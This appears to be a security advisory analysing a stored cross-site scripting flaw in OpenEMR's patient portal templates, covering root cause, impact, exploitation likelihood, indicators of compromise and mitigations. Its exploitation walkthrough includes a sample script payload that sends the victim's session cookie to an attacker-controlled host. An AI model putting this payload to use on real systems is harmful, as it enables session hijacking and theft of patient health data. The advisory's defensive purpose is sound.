CVE-2026-67612: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-67612 is a stored cross-site scripting (XSS) vulnerability in OpenEMR's patient portal template system affecting all versions through 8.2.0. Authenticated administrators can inject arbitrary HTML and JavaScript by storing malicious payloads via the template save mode, which only filters literal PHP open tags. The vulnerability was published on August 3, 2026, with a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 base score of 4.8 (Medium) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS condition arising from two compounding weaknesses: the template save endpoint only filters literal PHP open tags (<?php) while permitting arbitrary HTML/JavaScript, and the template retrieval endpoint lacks output encoding entirely (GitHub Advisory). Additionally, session cookies lack the HttpOnly attribute, enabling JavaScript-based access to document.cookie and direct session token exfiltration. Exploitation requires an authenticated administrator account (high privilege) and passive user interaction — a victim must view the poisoned template — making the attack vector network-based but not fully automated. A technical write-up is publicly available at jivasecurity.com and a VulnCheck advisory documents the affected endpoint (import_template.php) (VulnCheck Advisory).

Successful exploitation allows an attacker with administrator credentials to persistently inject malicious JavaScript into OpenEMR patient portal templates, which then executes in the browsers of any admin, clinician, or portal patient who views the poisoned template. The primary impact is session hijacking: stolen session tokens can be used to impersonate victims, potentially exposing sensitive protected health information (PHI), patient records, and clinical data managed within OpenEMR. While availability is not directly impacted, the integrity of portal content and the confidentiality of session credentials for all user classes are at risk (GitHub Advisory, Feedly).

A proof-of-concept (PoC) is referenced in the NVD SSVC data, though no public exploit code has been confirmed as widely circulated, and no active in-the-wild exploitation has been observed as of the disclosure date (GitHub Advisory, Feedly). The EPSS score is approximately 0.148%, placing it in the 5th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported. Exploitation is not automatable (per NVD SSVC), as it requires both an authenticated admin session and a victim to view the malicious template.

1. Gain Administrator Access: Obtain valid OpenEMR administrator credentials through phishing, credential stuffing, or insider access — high-privilege access is required to reach the template management interface.
2. Navigate to Template Management: Log in to the OpenEMR admin panel and navigate to the patient portal template management section, which uses import_template.php for template operations.
3. Inject Malicious Payload: In the template save mode, insert a JavaScript payload that bypasses the PHP open tag filter. For example, embed a script tag such as <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> within the template body.
4. Save the Poisoned Template: Submit the template through the save mode endpoint. The server stores the payload without sanitizing HTML/JavaScript content.
5. Wait for Victim Interaction: When any admin, clinician, or portal patient views the poisoned template, the injected JavaScript executes in their browser context.
6. Exfiltrate Session Token: Because session cookies lack the HttpOnly flag, document.cookie is accessible to JavaScript. The payload transmits the victim's session token to an attacker-controlled server.
7. Hijack Session: Use the stolen session token to authenticate as the victim, gaining access to their OpenEMR account and any PHI or administrative functions available to that user (GitHub Advisory, VulnCheck Advisory).

• Network: Outbound HTTP requests from client browsers to unexpected external domains containing URL-encoded cookie data (e.g., ?c=PHPSESSID=...); unusual GET/POST requests to attacker-controlled infrastructure originating from OpenEMR user sessions.
• Logs: OpenEMR web server access logs showing requests to import_template.php with large or unusual POST bodies; template retrieval endpoint access logs showing the poisoned template being served to multiple user accounts.
• File System / Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) within stored portal template records in the OpenEMR database; unexpected modifications to template content with encoded payloads.
• Browser/Session: Multiple user accounts experiencing unexpected session invalidation or unauthorized actions shortly after viewing portal templates; duplicate session activity from geographically disparate IPs for the same session token (GitHub Advisory, Feedly).

The primary remediation is to update OpenEMR to a version newer than 8.2.0 once a patched release is available (GitHub Advisory). As interim workarounds: implement output encoding on all template retrieval endpoints; add HttpOnly and Secure flags to all session cookies to prevent JavaScript-based token access; restrict template management access to only the most trusted administrators; and deploy a Content Security Policy (CSP) header to restrict inline script execution. Administrators should also audit all existing portal templates for injected malicious content and remove any suspicious payloads (Feedly).